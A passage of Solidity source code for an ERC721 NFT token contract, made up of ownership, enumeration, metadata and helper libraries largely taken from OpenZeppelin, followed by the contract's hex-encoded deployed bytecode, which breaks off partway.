any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "./ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for(uint i; i < _owners.length; i++){ if(owner == _owners[i]){ if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./Address.sol"; abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ) ++count; } return count; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; library Address { function isContract(address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106103295760003560e01c8063672781ed116101a5578063ad7fd2eb116100ec578063daaef4cd11610095578063f2fde38b1161006f578063f2fde38b146108d6578063f3993d11146108f6578063f43a22dc14610916578063f73c814b1461092c57600080fd5b8063daaef4cd14610866578063dbe7e3bd14610886578063e985e9c5146108b657600080fd5b8063c87b56dd116100c6578063c87b56dd14610806578063cd7c032614610826578063d26ea6c01461084657600080fd5b8063ad7fd2eb146107a6578063b88d4fde146107c6578063bedb86fb146107e657600080fd5b80638da5cb5b1161014e57806395d89b411161012857806395d89b411461075e578063a0712d6814610773578063a22cb4651461078657600080fd5b80638da5cb5b146107005780638f5a23fe1461071e57806391b7f5ed1461073e57600080fd5b8063715018a61161017f578063715018a61461069a5780637875d95a146106af57806383b14818146106d057600080fd5b8063672781ed1461064f5780636c0360eb1461066557806370a082311461067a57600080fd5b80633ccfd60b116102745780634e71d92d1161021d57806355f804b3116101f757806355f804b3146105bf5780635a4fee30146105df5780635bab26e2146105ff5780636352211e1461062f57600080fd5b80634e71d92d146105775780634f6ccce71461057f57806354057aa61461059f57600080fd5b8063429f99771161024e578063429f99771461050a578063438b63001461052a5780634d44660c1461055757600080fd5b80633ccfd60b146104b557806342842e0e146104ca57806342966c68146104ea57600080fd5b8063228025e8116102d65780632f745c59116102b05780632f745c591461046957806332cb6b0c146104895780633c8da5881461049f57600080fd5b8063228025e81461041357806323b872dd146104335780632a47f7991461045357600080fd5b8063081812fc11610307578063081812fc1461039c578063095ea7b3146103d457806318160ddd146103f457600080fd5b806301ffc9a71461032e578063029877b61461036357806306fdde031461037a575b600080fd5b34801561033a57600080fd5b5061034e610349366004612ca4565b61094c565b60405190151581526020015b60405180910390f35b34801561036f57600080fd5b50610378610990565b005b34801561038657600080fd5b5061038f610a08565b60405161035a9190612ecc565b3480156103a857600080fd5b506103bc6103b7366004612d44565b610a9a565b6040516001600160a01b03909116815260200161035a565b3480156103e057600080fd5b506103786103ef366004612bc5565b610b22565b34801561040057600080fd5b506002545b60405190815260200161035a565b34801561041f57600080fd5b5061037861042e366004612d44565b610c54565b34801561043f57600080fd5b5061037861044e366004612a67565b610ca1565b34801561045f57600080fd5b5061040560095481565b34801561047557600080fd5b50610405610484366004612bc5565b610d29565b34801561049557600080fd5b5061040560085481565b3480156104ab57600080fd5b50610405600b5481565b3480156104c157600080fd5b50610378610e64565b3480156104d657600080fd5b506103786104e5366004612a67565b610f22565b3480156104f657600080fd5b50610378610505366004612d44565b610f3d565b34801561051657600080fd5b50610378610525366004612926565b610f9b565b34801561053657600080fd5b5061054a610545366004612926565b611005565b60405161035a9190612e88565b34801561056357600080fd5b5061034e610572366004612b08565b6110be565b610378611140565b34801561058b57600080fd5b5061040561059a366004612d44565b611444565b3480156105ab57600080fd5b506103786105ba366004612d44565b6114c2565b3480156105cb57600080fd5b506103786105da366004612cfb565b61150f565b3480156105eb57600080fd5b506103786105fa3660046129de565b61156e565b34801561060b57600080fd5b5061034e61061a366004612926565b600e6020526000908152604090205460ff1681565b34801561063b57600080fd5b506103bc61064a366004612d44565b6115b8565b34801561065b57600080fd5b50610405600c5481565b34801561067157600080fd5b5061038f611658565b34801561068657600080fd5b50610405610695366004612926565b6116e6565b3480156106a657600080fd5b506103786117c7565b3480156106bb57600080fd5b50600d5461034e90600160a01b900460ff1681565b3480156106dc57600080fd5b5061034e6106eb366004612d44565b6000908152600f602052604090205460ff1690565b34801561070c57600080fd5b506005546001600160a01b03166103bc565b34801561072a57600080fd5b50610378610739366004612d44565b611819565b34801561074a57600080fd5b50610378610759366004612d44565b611866565b34801561076a57600080fd5b5061038f6118b3565b610378610781366004612d44565b6118c2565b34801561079257600080fd5b506103786107a1366004612b90565b6119f7565b3480156107b257600080fd5b50600d546103bc906001600160a01b031681565b3480156107d257600080fd5b506103786107e1366004612aa8565b611abc565b3480156107f257600080fd5b50610378610801366004612c89565b611b44565b34801561081257600080fd5b5061038f610821366004612d44565b611bc5565b34801561083257600080fd5b506007546103bc906001600160a01b031681565b34801561085257600080fd5b50610378610861366004612926565b611c4e565b34801561087257600080fd5b50610378610881366004612d44565b611cb8565b34801561089257600080fd5b5061034e6108a1366004612d44565b600f6020526000908152604090205460ff1681565b3480156108c257600080fd5b5061034e6108d1366004612943565b611d05565b3480156108e257600080fd5b506103786108f1366004612926565b611e11565b34801561090257600080fd5b5061037861091136600461297c565b611ede565b34801561092257600080fd5b50610405600a5481565b34801561093857600080fd5b50610378610947366004612926565b611f20565b60006001600160e01b031982167f780e9d6300000000000000000000000000000000000000000000000000000000148061098a575061098a82611f91565b92915050565b6005546001600160a01b031633146109dd5760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064015b60405180910390fd5b60005b600a811015610a05576109f3338261202c565b806109fd81612ffd565b9150506109e0565b50565b606060008054610a1790612fc2565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4390612fc2565b8015610a905780601f10610a6557610100808354040283529160200191610a90565b820191906000526020600020905b815481529060010190602001808311610a7357829003601f168201915b5050505050905090565b6000610aa5826120a8565b610b065760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016109d4565b506000908152600360205260409020546001600160a01b031690565b6000610b2d826115b8565b9050806001600160a01b0316836001600160a01b03161415610bb75760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016109d4565b336001600160a01b0382161480610bd35750610bd38133611d05565b610c455760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016109d4565b610c4f83836120f2565b505050565b6005546001600160a01b03163314610c9c5760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600855565b610cac335b82612160565b610d1e5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109d4565b610c4f838383612222565b6000610d34836116e6565b8210610d965760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016109d4565b6000805b600254811015610e075760028181548110610db757610db7613058565b6000918252602090912001546001600160a01b0386811691161415610df55783821415610de757915061098a9050565b81610df181612ffd565b9250505b80610dff81612ffd565b915050610d9a565b5060405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016109d4565b6005546001600160a01b03163314610eac5760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050610f205760405162461bcd60e51b815260206004820152601560248201527f576974686472617720756e7375636365737366756c000000000000000000000060448201526064016109d4565b565b610c4f83838360405180602001604052806000815250611abc565b610f4633610ca6565b610f925760405162461bcd60e51b815260206004820152601560248201527f4e6f7420617070726f76656420746f206275726e2e000000000000000000000060448201526064016109d4565b610a05816123a5565b6005546001600160a01b03163314610fe35760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b60606000611012836116e6565b9050806110335760408051600080825260208201909252905b509392505050565b60008167ffffffffffffffff81111561104e5761104e61306e565b604051908082528060200260200182016040528015611077578160200160208202803683370190505b50905060005b8281101561102b5761108f8582610d29565b8282815181106110a1576110a1613058565b6020908102919091010152806110b681612ffd565b91505061107d565b6000805b8281101561113357846001600160a01b031660028585848181106110e8576110e8613058565b90506020020135815481106110ff576110ff613058565b6000918252602090912001546001600160a01b031614611123576000915050611139565b61112c81612ffd565b90506110c2565b50600190505b9392505050565b600d54600160a01b900460ff161561119a5760405162461bcd60e51b815260206004820152601a60248201527f436c61696d2073657373696f6e206973206e6f74206c6976652100000000000060448201526064016109d4565b600254600d546000906001600160a01b031663438b6300336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160006040518083038186803b1580156111f157600080fd5b505afa158015611205573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261122d9190810190612bf1565b805190915060005b82518110156112e157600f600084838151811061125457611254613058565b60209081029190910181015182528101919091526040016000205460ff161561128957611282600183612f7f565b91506112cf565b6001600f60008584815181106112a1576112a1613058565b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806112d981612ffd565b915050611235565b50600081116113585760405162461bcd60e51b815260206004820152603060248201527f596f7520646f6e2774206861766520616e7920756e636c61696d65642057616c60448201527f6b696e672041706520746f6b656e732e0000000000000000000000000000000060648201526084016109d4565b6008546113658285612f34565b106113b25760405162461bcd60e51b815260206004820152601360248201527f45786365646573206d617820737570706c792e0000000000000000000000000060448201526064016109d4565b34600c54826113c19190612f60565b1461140e5760405162461bcd60e51b815260206004820152601760248201527f496e76616c69642066756e64732070726f76696465642e00000000000000000060448201526064016109d4565b60005b8181101561143e5761142c336114278387612f34565b61202c565b8061143681612ffd565b915050611411565b50505050565b60025460009082106114be5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e6473000000000000000000000000000000000000000060648201526084016109d4565b5090565b6005546001600160a01b0316331461150a5760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600c55565b6005546001600160a01b031633146115575760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b805161156a906006906020840190612797565b5050565b60005b82518110156115b15761159f858585848151811061159157611591613058565b602002602001015185611abc565b806115a981612ffd565b915050611571565b5050505050565b600080600283815481106115ce576115ce613058565b6000918252602090912001546001600160a01b031690508061098a5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016109d4565b6006805461166590612fc2565b80601f016020809104026020016040519081016040528092919081815260200182805461169190612fc2565b80156116de5780601f106116b3576101008083540402835291602001916116de565b820191906000526020600020905b8154815290600101906020018083116116c157829003601f168201915b505050505081565b60006001600160a01b0382166117645760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016109d4565b6000805b6002548110156117c0576002818154811061178557611785613058565b6000918252602090912001546001600160a01b03858116911614156117b0576117ad82612ffd565b91505b6117b981612ffd565b9050611768565b5092915050565b6005546001600160a01b0316331461180f5760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b610f206000612427565b6005546001600160a01b031633146118615760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600955565b6005546001600160a01b031633146118ae5760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600b55565b606060018054610a1790612fc2565b6002546009546118d28383612f